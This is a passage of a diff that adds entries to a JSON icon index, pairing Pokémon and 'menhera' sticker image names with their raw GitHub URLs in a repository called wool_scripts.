"https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X009.png" + }, + { + "name": "X010.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X010.png" + }, + { + "name": "X011.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X011.png" + }, + { + "name": "X012.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X012.png" + }, + { + "name": "X013.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X013.png" + }, + { + "name": "X014.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X014.png" + }, + { + "name": "X015.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/X015.png" + }, + { + "name": "Z001.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z001.png" + }, + { + "name": "Z002.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z002.png" + }, + { + "name": "Z003.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z003.png" + }, + { + "name": "Z004.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z004.png" + }, + { + "name": "Z005.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z005.png" + }, + { + "name": "Z006.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z006.png" + }, + { + "name": "Z007.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z007.png" + }, + { + "name": "Z008.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z008.png" + }, + { + "name": "Z009.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z009.png" + }, + { + "name": "Z010.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z010.png" + }, + { + "name": "Z011.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z011.png" + }, + { + "name": "Z012.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z012.png" + }, + { + "name": "Z013.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z013.png" + }, + { + "name": "Z014.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z014.png" + }, + { + "name": "Z015.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z015.png" + }, + { + "name": "Z016.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z016.png" + }, + { + "name": "Z017.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z017.png" + }, + { + "name": "Z018.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z018.png" + }, + { + "name": "Z019.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z019.png" + }, + { + "name": "Z020.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z020.png" + }, + { + "name": "Z021.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z021.png" + }, + { + "name": "Z022.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z022.png" + }, + { + "name": "Z023.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z023.png" + }, + { + "name": "Z024.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z024.png" + }, + { + "name": "Z025.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z025.png" + }, + { + "name": "Z026.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z026.png" + }, + { + "name": "Z027.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z027.png" + }, + { + "name": "Z028.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z028.png" + }, + { + "name": "Z029.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z029.png" + }, + { + "name": "Z030.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/Z030.png" + }, + { + "name": "001.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/001.png" + }, + { + "name": "004.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/004.png" + }, + { + "name": "007.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/007.png" + }, + { + "name": "010.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/010.png" + }, + { + "name": "012.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/012.png" + }, + { + "name": "015.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/015.png" + }, + { + "name": "016.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/016.png" + }, + { + "name": "019.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/019.png" + }, + { + "name": "020.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/020.png" + }, + { + "name": "021.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/021.png" + }, + { + "name": "023.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/023.png" + }, + { + "name": "025.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/025.png" + }, + { + "name": "027.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/027.png" + }, + { + "name": "029.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/029.png" + }, + { + "name": "032.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/032.png" + }, + { + "name": "035.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/035.png" + }, + { + "name": "037.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/037.png" + }, + { + "name": "039.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/039.png" + }, + { + "name": "041.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/041.png" + }, + { + "name": "043.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/043.png" + }, + { + "name": "044.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/044.png" + }, + { + "name": "046.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/046.png" + }, + { + "name": "048.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/048.png" + }, + { + "name": "050.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/050.png" + }, + { + "name": "052.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/052.png" + }, + { + "name": "054.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/054.png" + }, + { + "name": "056.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/056.png" + }, + { + "name": "058.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/058.png" + }, + { + "name": "060.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/060.png" + }, + { + "name": "063.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/063.png" + }, + { + "name": "066.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/066.png" + }, + { + "name": "069.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/069.png" + }, + { + "name": "072.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/072.png" + }, + { + "name": "074.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/074.png" + }, + { + "name": "077.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/077.png" + }, + { + "name": "079.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/079.png" + }, + { + "name": "081.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/081.png" + }, + { + "name": "083.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/083.png" + }, + { + "name": "084.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/084.png" + }, + { + "name": "086.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/086.png" + }, + { + "name": "088.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/088.png" + }, + { + "name": "090.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/090.png" + }, + { + "name": "092.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/092.png" + }, + { + "name": "095.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/095.png" + }, + { + "name": "096.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/096.png" + }, + { + "name": "098.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/098.png" + }, + { + "name": "100.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/100.png" + }, + { + "name": "102.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/102.png" + }, + { + "name": "104.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/104.png" + }, + { + "name": "106.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/106.png" + }, + { + "name": "108.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/108.png" + }, + { + "name": "109.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/109.png" + }, + { + "name": "111.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/111.png" + }, + { + "name": "113.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/113.png" + }, + { + "name": "114.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/114.png" + }, + { + "name": "115.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/115.png" + }, + { + "name": "116.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/116.png" + }, + { + "name": "118.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/118.png" + }, + { + "name": "120.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/120.png" + }, + { + "name": "122.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/122.png" + }, + { + "name": "123.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/123.png" + }, + { + "name": "124.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/124.png" + }, + { + "name": "125.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/125.png" + }, + { + "name": "127.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/127.png" + }, + { + "name": "128.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/128.png" + }, + { + "name": "129.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/129.png" + }, + { + "name": "131.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/131.png" + }, + { + "name": "132.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/132.png" + }, + { + "name": "133.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/133.png" + }, + { + "name": "137.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/137.png" + }, + { + "name": "138.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/138.png" + }, + { + "name": "140.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/140.png" + }, + { + "name": "141.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/141.png" + }, + { + "name": "143.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/143.png" + }, + { + "name": "144.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/144.png" + }, + { + "name": "145.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/145.png" + }, + { + "name": "146.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/146.png" + }, + { + "name": "147.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/147.png" + }, + { + "name": "149.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/149.png" + }, + { + "name": "150.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/150.png" + }, + { + "name": "151.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/151.png" + }, + { + "name": "172.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/172.png" + }, + { + "name": "173.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/173.png" + }, + { + "name": "174.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/174.png" + }, + { + "name": "175.png", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/pokemon/175.png" + }, + { + "name": "Sticker_1000", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1000.png" + }, + { + "name": "Sticker_1001", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1001.png" + }, + { + "name": "Sticker_1002", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1002.png" + }, + { + "name": "Sticker_1003", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1003.png" + }, + { + "name": "Sticker_1004", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1004.png" + }, + { + "name": "Sticker_1005", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1005.png" + }, + { + "name": "Sticker_1006", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1006.png" + }, + { + "name": "Sticker_1007", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1007.png" + }, + { + "name": "Sticker_1008", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1008.png" + }, + { + "name": "Sticker_1009", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1009.png" + }, + { + "name": "Sticker_1010", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1010.png" + }, + { + "name": "Sticker_1011", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1011.png" + }, + { + "name": "Sticker_1012", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1012.png" + }, + { + "name": "Sticker_1013", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1013.png" + }, + { + "name": "Sticker_1014", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1014.png" + }, + { + "name": "Sticker_1015", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1015.png" + }, + { + "name": "Sticker_1016", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1016.png" + }, + { + "name": "Sticker_1017", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1017.png" + }, + { + "name": "Sticker_1018", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1018.png" + }, + { + "name": "Sticker_1019", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1019.png" + }, + { + "name": "Sticker_1020", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1020.png" + }, + { + "name": "Sticker_1021", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1021.png" + }, + { + "name": "Sticker_1022", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1022.png" + }, + { + "name": "Sticker_1023", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1023.png" + }, + { + "name": "Sticker_1024", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1024.png" + }, + { + "name": "Sticker_1025", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1025.png" + }, + { + "name": "Sticker_1026", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1026.png" + }, + { + "name": "Sticker_1027", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1027.png" + }, + { + "name": "Sticker_1028", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1028.png" + }, + { + "name": "Sticker_1029", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1029.png" + }, + { + "name": "Sticker_1030", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1030.png" + }, + { + "name": "Sticker_1031", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1031.png" + }, + { + "name": "Sticker_1032", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1032.png" + }, + { + "name": "Sticker_1033", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1033.png" + }, + { + "name": "Sticker_1034", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1034.png" + }, + { + "name": "Sticker_1035", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1035.png" + }, + { + "name": "Sticker_1036", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1036.png" + }, + { + "name": "Sticker_1037", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1037.png" + }, + { + "name": "Sticker_1038", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1038.png" + }, + { + "name": "Sticker_1039", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1039.png" + }, + { + "name": "Sticker_1040", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1040.png" + }, + { + "name": "Sticker_1041", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1041.png" + }, + { + "name": "Sticker_1042", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1042.png" + }, + { + "name": "Sticker_1043", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1043.png" + }, + { + "name": "Sticker_1044", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1044.png" + }, + { + "name": "Sticker_1045", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1045.png" + }, + { + "name": "Sticker_1046", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1046.png" + }, + { + "name": "Sticker_1047", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1047.png" + }, + { + "name": "Sticker_1048", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1048.png" + }, + { + "name": "Sticker_1049", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1049.png" + }, + { + "name": "Sticker_1050", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1050.png" + }, + { + "name": "Sticker_1051", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1051.png" + }, + { + "name": "Sticker_1052", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1052.png" + }, + { + "name": "Sticker_1053", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1053.png" + }, + { + "name": "Sticker_1054", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1054.png" + }, + { + "name": "Sticker_1055", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1055.png" + }, + { + "name": "Sticker_1056", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1056.png" + }, + { + "name": "Sticker_1057", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1057.png" + }, + { + "name": "Sticker_1058", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1058.png" + }, + { + "name": "Sticker_1059", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1059.png" + }, + { + "name": "Sticker_1060", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1060.png" + }, + { + "name": "Sticker_1061", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1061.png" + }, + { + "name": "Sticker_1062", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1062.png" + }, + { + "name": "Sticker_1063", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1063.png" + }, + { + "name": "Sticker_1064", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1064.png" + }, + { + "name": "Sticker_1065", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1065.png" + }, + { + "name": "Sticker_1066", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1066.png" + }, + { + "name": "Sticker_1067", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1067.png" + }, + { + "name": "Sticker_1068", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1068.png" + }, + { + "name": "Sticker_1069", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1069.png" + }, + { + "name": "Sticker_1070", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1070.png" + }, + { + "name": "Sticker_1071", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1071.png" + }, + { + "name": "Sticker_1072", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1072.png" + }, + { + "name": "Sticker_1073", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1073.png" + }, + { + "name": "Sticker_1074", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1074.png" + }, + { + "name": "Sticker_1075", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1075.png" + }, + { + "name": "Sticker_1076", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1076.png" + }, + { + "name": "Sticker_1077", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1077.png" + }, + { + "name": "Sticker_1078", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1078.png" + }, + { + "name": "Sticker_1079", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1079.png" + }, + { + "name": "Sticker_1080", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1080.png" + }, + { + "name": "Sticker_1081", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1081.png" + }, + { + "name": "Sticker_1082", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1082.png" + }, + { + "name": "Sticker_1083", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1083.png" + }, + { + "name": "Sticker_1084", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1084.png" + }, + { + "name": "Sticker_1085", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1085.png" + }, + { + "name": "Sticker_1086", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1086.png" + }, + { + "name": "Sticker_1087", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1087.png" + }, + { + "name": "Sticker_1088", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1088.png" + }, + { + "name": "Sticker_1089", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1089.png" + }, + { + "name": "Sticker_1090", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1090.png" + }, + { + "name": "Sticker_1091", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1091.png" + }, + { + "name": "Sticker_1092", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1092.png" + }, + { + "name": "Sticker_1093", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1093.png" + }, + { + "name": "Sticker_1094", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1094.png" + }, + { + "name": "Sticker_1095", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1095.png" + }, + { + "name": "Sticker_1096", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1096.png" + }, + { + "name": "Sticker_1097", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1097.png" + }, + { + "name": "Sticker_1098", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1098.png" + }, + { + "name": "Sticker_1099", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1099.png" + }, + { + "name": "Sticker_1100", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1100.png" + }, + { + "name": "Sticker_1101", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1101.png" + }, + { + "name": "Sticker_1102", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1102.png" + }, + { + "name": "Sticker_1103", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1103.png" + }, + { + "name": "Sticker_1104", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1104.png" + }, + { + "name": "Sticker_1105", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1105.png" + }, + { + "name": "Sticker_1106", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1106.png" + }, + { + "name": "Sticker_1107", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1107.png" + }, + { + "name": "Sticker_1108", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1108.png" + }, + { + "name": "Sticker_1109", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1109.png" + }, + { + "name": "Sticker_1110", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1110.png" + }, + { + "name": "Sticker_1111", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1111.png" + }, + { + "name": "Sticker_1112", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/menhera/Sticker_1112.png" + 